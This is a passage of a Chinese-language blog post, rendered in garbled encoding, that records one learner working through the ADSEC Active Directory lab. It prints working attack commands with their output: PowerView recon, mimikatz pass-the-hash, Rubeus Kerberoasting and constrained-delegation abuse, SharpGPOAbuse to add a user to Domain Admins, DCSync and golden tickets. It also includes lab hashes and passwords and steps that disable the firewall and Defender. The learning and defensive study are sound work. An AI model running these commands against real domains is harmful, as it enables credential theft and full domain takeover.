从Github一开源项目ADSEC【学习域渗透攻防基础】
學(xué)習(xí)的開源項目是:
https://github.com/cfalta/adsec
有些地方是直接Google 翻譯過來的。
注意:本人域滲透新手,很多問題都不懂,有問題歡迎大哥后臺留言啊!!!
Lab Setup – 域環(huán)境搭建
學(xué)習(xí)的過程中,最難的就是環(huán)境搭建了。(因為有些坑,別人不一定遇到,么有地方可以問,然后有些問題就離譜。。)
物理機:MacBookPro 2020 Intel i5
虛擬機:Vmware Fusion Windows Server 2019 * 3
域成員用戶密碼:P@ssw0rd123!(00和01)
域機器本地管理員密碼:P@ssw0rd123!@#(P@ssw0rd123!!!)
域控機器管理員密碼:P@ssw0rd123!!!
密碼隨便自己設(shè)置符合要求就可以,這里列出來只是害怕忘記了。
搭建一個域控,兩臺域成員機器,然后能ping通就好了。
Configure the following steps on every VM:
Point the DNS server to the IP of ADSEC-DC
Disable Windows Firewall (run in Powershell with admin rights)
Set-NetFirewallProfile -Profile Domain,Public,Private -Enabled False
Disable Windows Defender
Uninstall-WindowsFeature -Name Windows-Defender
在兩臺成員機器上用, john P@ssw0rd/blee TekkenIsAwesome! 來認(rèn)證加入域。

該環(huán)境是假設(shè)john這臺ADSEC-00 被攻破了,作為入口來進(jìn)行AD域滲透。因為要通過powershell 腳本來安裝攻擊的工具,所以需要再分配一張網(wǎng)卡,讓這臺機器出網(wǎng)。
neo4j 圖數(shù)據(jù)庫安裝
https://neo4j.com/artifact.php?name=neo4j-desktop-1.4.7-setup.exe
https://www.oracle.com/java/technologies/javase-jdk11-downloads.html
BloodHound
Exercise 1 – Reconnaissance(域信息搜集)
這里主要是用的PowerView,
https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1
首先是導(dǎo)入PowerView模塊,
cat -raw “.\PowerView.ps1” | iex
域內(nèi)基礎(chǔ)信息和域控信息
比如域名、域控ip、域控的操作系統(tǒng)版本等
獲取所有域計算機和用戶
注意:通常情況下需要過濾,因為真實的域環(huán)境中會有大量結(jié)果。
Get-DomainComputer
過濾域管:
Get-DomainUser|?{$_.memberof -like “Domain Admins”} | select
samaccountname
只顯示用戶名:
在這里插入圖片描述
獲取所有域計算機,但僅顯示名稱、DNS 名稱和創(chuàng)建日期,并以表格形式顯示
Get-DomainComputer | select samaccountname,dnshostname,whencreated |
Format-Table
獲取自定義用戶組
Get-DomainGroup | ? { $.distinguishedname -notlike “CN=Users” -and
$.distinguishedname -notlike “CN=Builtin”} | select
samaccountname,description
第一章問題
(主要就是熟悉PowerView的相關(guān)用法,Powershell查詢語法)
https://github.com/PowerShellMafia/PowerSploit/tree/dev/Recon
域中有多少臺計算機以及它們在什么操作系統(tǒng)上運行?
域中有多少用戶對象?編寫一個 powershell 查詢,以表格形式列出所有用戶,僅顯示屬性 samaccountname、displayname、description 和最后一次密碼更改
您能識別任何自定義管理組嗎?以通用方式更改上面的 powershell 查詢,使其僅返回自定義管理組。
Get-DomainGroup | ? { $.distinguishedname -like “CN=Manage” -or
$.distinguishedname -like “CN=admin”} | select
samaccountname,description
誰是您找到的自定義管理員組的成員,他最后一次設(shè)置密碼是什么時候?
想出識別域中服務(wù)帳戶的簡單方法嗎?編寫一個 powershell 查詢,根據(jù)您提出的模式列出所有服務(wù)帳戶。
Get-DomainUser -SPN |select
serviceprincipalname,userprincipalname,pwdlastset,lastlogon
Exercise 2 – NTLM (Pass-the-Hash)【哈希傳遞攻擊】
工具:
mimikatz
psexec
獲取到管理員的hash,37bef461dec3d4cb748209d3c3185132
然后pth,
sekurlsa::pth /user:Administrator
/ntlm:37bef461dec3d4cb748209d3c3185132 /domain:redteamlab.com
問了下龍哥這種情況,
https://support.accessdata.com/hc/en-us/articles/204150405-Disable-Remote-UAC
然后需要重啟。發(fā)現(xiàn)也不成功。。。 而且什么是remoteuac呢?
在windows Vista之后引入了一種默認(rèn)開啟的remote UAC,計算機的任何非SID 500本地管理員帳戶,
用戶在遠(yuǎn)程計算機上沒有特權(quán)提升能力,并且用戶無法執(zhí)行管理任務(wù)。
kb2871997對于本地Administrator(rid為500,操作系統(tǒng)只認(rèn)rid不認(rèn)用戶名,接下來我們統(tǒng)稱RID 500帳戶)和本地管理員組的域用戶是沒有影響的
我人傻bi了,我一直在非域控的機器上pth…
第二章問題
mimikatz 命令“privilege::debug”和“token::elevate”的目的是什么?為什么需要執(zhí)行它們?第一個是提權(quán),第二個是假冒令牌。用于提升權(quán)限至 SYSTEM 權(quán)限(默認(rèn)情況下)或者是發(fā)現(xiàn)計算機中的域管理員的令牌。
以 Bruce Lee 的身份登錄 adsec-01。 使用您在上面學(xué)到的知識并幫助 john 從內(nèi)存中遠(yuǎn)程提取 Bruce Lees NTLM 哈希。 注意:“l(fā)sadump::sam”只轉(zhuǎn)儲本地密碼數(shù)據(jù)庫。 您需要使用不同的命令從內(nèi)存中提取數(shù)據(jù)。
在互聯(lián)網(wǎng)上研究如何最好地減輕傳遞哈希攻擊。描述您認(rèn)為最好的緩解技術(shù),并解釋您選擇它們??的原因。
1.微軟在2014年5月13日發(fā)布了針對Pass The Hash的更新補丁kb2871997,標(biāo)題為”Update to fix the Pass-The-Hash Vulnerability”,而在一周后卻把標(biāo)題改成了”Update to improve credentials protection and management”。(事實上,這個補丁不僅能夠緩解PTH,還能阻止mimikatz 抓取明文密碼
2.監(jiān)控Windows事件日志,發(fā)現(xiàn)異常了馬上應(yīng)急處理
3.禁用RID=500的管理員賬戶
是否有可能(并且可行)完全禁用 NTLM?解釋你的理由。
不可能,理由從正常使用來說,域認(rèn)證和一些應(yīng)用認(rèn)證都需要NTLM Hash。從其他角度,還不知道。
限制傳入域的 NTLM 流量
Exercise 3 – Kerberos (Roasting)
使用Kerberoasting破解服務(wù)賬號“taskservice”的密碼。
加載使用的powershell 腳本:
cat -raw .\PowerView.ps1 | iex cat -raw .\Invoke-Rubeus.ps1 | iex
獲取具有服務(wù)主體名稱 (SPN) 的所有域用戶。
Get-DomainUser -SPN | select samaccountname, description, pwdlastset,
serviceprincipalname
使用Rebus來進(jìn)行統(tǒng)計Kerberos
Invoke-Rubeus -Command “kerberoast /stats”
運行 Rubeus 來獲取目標(biāo)用戶的 TGS
Invoke-Rubeus -Command “kerberoast /user:taskservice /format:hashcat /outfile:krb5tgs.txt”
 $krb5tgs$23$*taskservice$redteamlab.com$HTTP/task.contoso.com*$68EEDDB21370D83E51B255E76E092D96$236B6181FCE72FBDDD1593A6A0354248E2FFDCD8FF1C80FA1CD9CDCC5AF7B021D5650116FB85566BD51E646F6E7EDEC6A2CE72CBD4292919992A5809CE64EA5102D8F3698905D61864F5F3D248B80205EC82090F572F70CA6058FFA9B770EE2FDE5E6BDC17267C45D820DB32DE48BA75A4940948EBAD7F52F8E5E0CA0EFFAE5181692EC805BF9DD8B95F791064C039448DEA4E0D778209C18E9228FD8CACDBE1E38BE2B2510FF931D35B9C69FF459F223B0E97A55D1A9D8B6F33D563293DADAF5F11133CAFE6FEC13B2681148F88633C4E765CE7B37A23954ABC76F7D1203FD7E34C5F3B1F7BBE46C0D8A37BF96A73FFAD3DF7C2949A213FE1D26353FD8190893AE63F526C8E09AA2E7F1EB08CE0640D3420FD603AB14816F1D30100C758AC4028AA571F3F2423533FAAE2A8FA22CC7DC3322A160D0D5C667C6682B151A043615A4E8C008282EFDFE58E190686CF03DB92276968054BCDBBAA89456D3BBC98B8861D02C0FF8EBF211BF38D8632EEF913EC7C3981BDDAC048D1C7B8E77F86AA0AC455F393D4B21AC7F67B7DCEC79617995818955B0F9C19BCB409EFAF0B3644389607DF129199DE2A6D30E4A6B34781B2DE32D99AFEE1FF2935377EA45EE43DBEFCEB9C54C7315274E282F0B0329C0818D94953EDDA8F92E4BBF0A96777E10403F7D6A057E0E8FDFFF22ACE176D820DA6CD66E759D0CB21083F5CE466DEAC56B5A2FD2BF59C56BC0F5FEB8BCC81B4FA57FBB77EAB0A9E4C5EE663E35C6F0C1EEC3C9C87406EC699833C37C469682D9E54B3C76E6A041136D9962C239E2A9768C751456A3C830C5E004C31D93A17386EDF83F46CBA3CCE6C640EF128784044AF5F327D280E47007DA68CF3C10261F1E0B06DD674BA26EC518F1DF3136D5953F3265B964AC454A70BFDF18F89C3FA9EAF7A9C6AFC6C077B7B3282E1A49F7BE75316BE7497C0E387D36BDA129200A1C62F82333A38B2F6C4B0BF15A6EA38D9A8DCC8D0AED8520C864F84CE89253DB0F9BCB23A4C8C1A1880F512687982EB7DCA2CA4CCF38B2EDB9C53FE078AFDA87C2E8BA02D9930C4D7903E8EC97EB79CF8F796DDD4E056008E88B0A7A0A4B5EEC2E30A92E5CD2EF4E2D6F3955D3818D2311FBF31B32042159DF0592D03E478F50F9FE898DBF2C4865B6CE3511229B0F7F4C1ECFFA3B90E343401024FE5C999EB36337812F50C6ED95A69B2B3E951B3EC013D245BA48FB0347A33B930CA48A7516DCB198D7A3E03E9F97D89248ABC597D770EAF6100DEA9BD54CF63F4E87D784EC651403AF7ACEC1C8D1CD1645C526AEEBBE70F8A258DFF38C569462CC4E61E08EA2A26EC6007D0DC200181FBD32AADA9C5C6EF9168F3C85755773EE6C6878ED820722EB3CA57DE786005D5820FAFF8E0F6BA82436C91A2851C5132D6F973B12015A1211E7261A1C6FDAE79E62AB17C2B3110FD027731008D0EEBFB4CC4F9278518使用john來破解TGS,
第三章問題
](https://img-blog.csdnimg.cn/6c93c606fe5544bdad117c9f62f2173e.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L0hCb2hhbg==,size_16,color_FFFFFF,t_70)
在線研究如何最好地減輕 kerberoasting 攻擊。描述您認(rèn)為最好的緩解技術(shù),并解釋您選擇它們??的原因。增加密碼長度,能夠提高破解難度,并且定期修改關(guān)聯(lián)的域用戶口令。
盡量將域內(nèi)的服務(wù)器系統(tǒng)升級至少至 windows2008 系統(tǒng),應(yīng)用 AES256 高難度的加密算法
禁止用戶開啟do not require kerberos preauthentication
還有另一個用戶帳戶容易受到 AS-REP roasting的影響。使用上一個練習(xí)中類似的命令破解他的密碼。 (提示:Get-DomainUser -NoPreauth)
獲取到hash
使用john 破解密碼
.\john.exe C:\Users\john\krb5tgs2.txt --wordlist=..\..\example.dict --rules=passphrase-rule2--wordlist=..\..\example.dict --rules=passphrase-rule2Explain the difference between the two attacks you just executed (TGS vs. ASREP roasting).https://3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-AS-REPRoasting
Exercise 4 – Kerberos (Delegation) 委派攻擊
委派有:
約束委派
非約束委派
基于資源的約束委派
這里將濫用用戶“taskservice”的約束委派權(quán)限來訪問 adsec-01。
查找已啟用約束委派的用戶。
Get-DomainUser -TrustedToAuth查找允許的委派目標(biāo)。
Get-DomainUser -TrustedToAuth | select -ExpandProperty msds-allowedtodelegateto因為之前通過 kerberoasting得到了 taskservice 的密碼,我們可以生成hash,用
Invoke-Rubeus -Command "hash /password:Amsterdam2015 /domain:redteamlab.com /user:taskservice" [*] Action: Calculate Password Hash(es)[*] Input password : Amsterdam2015 [*] Input username : taskservice [*] Input domain : redteamlab.com [*] Salt : REDTEAMLAB.COMtaskservice [*] rc4_hmac : C010AED6AEE4804A3C49FDD0518FCA5D [*] aes128_cts_hmac_sha1 : D969340CE347859B0B8B44CA43D994EE [*] aes256_cts_hmac_sha1 : D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA [*] des_cbc_md5 : 988F1CC4FB0DC873Rubeus 允許我們在新的登錄會話中啟動 powershell。這意味著我們偽造的票據(jù)只存在于這次登錄會話中,不會干擾用戶 john 已經(jīng)存在的 kerboers 票據(jù)。
Invoke-Rubeus -Command "createnetonly /program:C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe /show"使用 s4u 去向KDC 請求TGS 模擬域管理員 “Bruce Willis” (bwillis) 然后去攻擊ADSEC-01,這里請求三種不同的服務(wù)票據(jù),CIFS將用于SMB訪問、HOST/RPCSS用于WMI
Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:cifs/adsec-01.redteamlab.com /ptt" Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:host/adsec-01.redteamlab.com /ptt" Invoke-Rubeus -Command "s4u /user:taskservice /aes256:D5946D4144CE2AD1B450BAE60BC892F58326A9A29FC467F0E38D14A4F3AB00EA /impersonateuser:bwillis /msdsspn:rpcss/adsec-01.redteamlab.com /ptt"
s4u 是什么?這里復(fù)習(xí)一下 學(xué)習(xí)Kerberos 協(xié)議時的內(nèi)容。
S4U分兩種,2SELF和2PROXY
S4U2self 使得服務(wù)可以代表用戶獲得針對服務(wù)自身的kerberos服務(wù)票據(jù)。這使得服務(wù)可以獲得用戶的授權(quán)( 可轉(zhuǎn)發(fā) 的用戶TGS票據(jù)),然后將其用于后期的認(rèn)證(主要是后期的s4u2proxy),這是為了在用戶以不使用 Kerberos 的方式對服務(wù)進(jìn)行身份驗證的情況下使用。這里面很重要的一點是服務(wù)代表用戶獲得針對服務(wù)自身的kerberos票據(jù)這個過程,服務(wù)是不需要用戶的憑據(jù)的
s4u2proxy 使得服務(wù)1可以使用來自用戶的授權(quán)( 在S4U2SELF階段獲得),然后用該TGS(放在AddtionTicket里面)向KDC請求訪問服務(wù)2的TGS,并且代表用戶訪問服務(wù)2,而且只能訪問服務(wù)2。
詳細(xì)的過程可以去看daiker 師傅的文章。
klist 查看生成的Kerberos 票據(jù)
確定創(chuàng)建的票據(jù)是否成功
通過SMB:
通過wmi:
Get-WmiObject -Class win32_process -ComputerName adsec-01.redteamlab.com第四章問題
上面的練習(xí)中,您通過 SMB 和 WMI 獲得了對服務(wù)器 adsec-01 的讀取訪問權(quán)限。 現(xiàn)在嘗試通過這兩個協(xié)議來獲取代碼執(zhí)行全系。 目標(biāo)是執(zhí)行以下命令,該命令會將用戶 john 添加到本地 admin 組:”net localgroup Administrators john /ADD”wmic /node:adsec-01 process call create “cmd.exe /c net localgroup Administrators john /add”
實現(xiàn)一種使用 SMB 和 WMI 實現(xiàn)此同樣目標(biāo)的方法。提示:我們已經(jīng)在 PTH 練習(xí)中使用了依賴于 SMB 的遠(yuǎn)程管理工具,并且 Powershell 包含用于調(diào)用 WMI 方法的本機命令。
psexec
嘗試模擬域管理員用戶“Chuck Norris”而不是“Bruce Willis”。它有效嗎?解釋為什么。
可以攻擊ADSEC-DC(域控),而不是ADSEC-01.
Exercise 5 – ACL-based attacks
工具:
PowerView
BloodHoundAD
第一部分介紹使用 Bloodhound 從 Active Directory 收集和分析數(shù)據(jù)。第二部分演示了對組策略的基于 ACL 的攻擊。
Invoke-Bloodhound -CollectionMethod DcOnly -Stealth -PrettyJson -NoSaveCache
-CollectionMethod DcOnly 表示只從域控制器收集數(shù)據(jù)。 從 opsec 的角度來看,這是更可取的,因為從流量來看是正常的。
-Stealth 意味著單線程運行。 速度較慢,但不容易被安全設(shè)備發(fā)現(xiàn)。
-PrettyJson 格式化 .json 文件。
-NoSaveCache 表示不保存緩存文件。 因此,每次運行 Sharphound 時,它都會從頭開始。
啟動neo4j圖數(shù)據(jù)庫,
啟動BloodHound,將之前跑出來的json 文件導(dǎo)入。
在Queries中 選擇尋找所有域管:
將用戶“taskservice”標(biāo)記為已經(jīng)拿下。找到允許我們使用用戶 taskservice 控制域控制器的攻擊路徑。
然后尋找到域控的最短攻擊路徑
這里顯示用戶對域控的組策略有寫入權(quán)限(GenericWrite),通過組策略利用,攻擊DC
前面的練習(xí)顯示用戶“taskservice”對“默認(rèn)域控制器”組策略具有寫入權(quán)限。我們將使用它來獲得域管理員權(quán)限。
使用taskserivce用戶登錄,需要密碼,密碼我們之前通過Kerberoasting
已經(jīng)拿到了,Amsterdam2015
因為我把工具放在john 桌面上的,這里是沒有權(quán)限,因為john 已經(jīng)是作為打域的口子了,已經(jīng)被拿下,把工具放在C:\下面就行。
.\SharpGPOAbuse.exe --AddComputerTask --TaskName "Update" --Author contoso\adminuser --Command "cmd.exe" --Arguments '/c net group \"Domain Admins\" john /ADD' --GPOName "Default Domain Controllers Policy" --force現(xiàn)在已經(jīng)將 john 用戶添加到域管這個用戶組了,但是真實環(huán)境中,必須等到域管重新更新組策略才會觸發(fā)。這里直接在域控上手工更新了。
成功將域普通用戶提權(quán)為域管理員。
然后成功登錄域控:
Exercise 6 – Persistence(權(quán)限維持)
mimikatz 后門
白銀票據(jù)、黃金票據(jù)
and so on
因為我們現(xiàn)在已經(jīng)有了域管權(quán)限(Administrators, Domain Admins, Enterprise Admins 都可以),可以通過 DCSync attack 來進(jìn)行一個權(quán)限維持
這里用的是mimikatz,
lsadump::dcsync /user:krbtgt拿到域內(nèi)所有用戶的hash。
使用mimikatz 制作黃金票據(jù)(使用Chuck Norris用戶),在域控上查看事件id是不是4624,黃金票據(jù)登錄和正常登錄有什么區(qū)別。
正常來說認(rèn)證訪服務(wù)的流程是先4768(TGT)-4769(TGS)-4624(logon),但是黃金票據(jù)攻擊的話只會有4769-4624,因為TGT已經(jīng)離線生成了
再制作一個黃金票據(jù),要求這個用戶在AD里不存在,RID為500,/id:500,然后使用這個票據(jù)去訪問SMB或者遠(yuǎn)程PowerShell。那個能成功訪問到。
在DCsync Attack的時候已經(jīng)獲取到了 krbtgt用戶的hash了,現(xiàn)在還需要獲得域用戶的sid。
然后制作黃金票據(jù):
kerberos::golden /domain:redteamlab.com /sid:S-1-5-21-2285992356-195623764-2499460835-1106 /krbtgt:37710395b3dbb0e193a6a79b7831859c /user:cnorris /ticket:golden.kirib導(dǎo)入偽造的票據(jù),看能不能獲取到域控權(quán)限。
kerberos::purge kerberos::ptt golden.kiribi kerberos::list成功訪問到域控的共享文件夾。
然后登錄域控查看事件
問題二:
感謝大佬的指點
這有我整理的網(wǎng)絡(luò)安全的資料,你有需要嘛
《新程序員》:云原生和全面數(shù)字化實踐50位技術(shù)專家共同創(chuàng)作,文字、視頻、音頻交互閱讀總結(jié)
以上是生活随笔為你收集整理的从Github一开源项目ADSEC【学习域渗透攻防基础】的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: 【僵尸复活】【已通过】https的app
- 下一篇: 适合小白学的基础知识—SSTI漏洞学习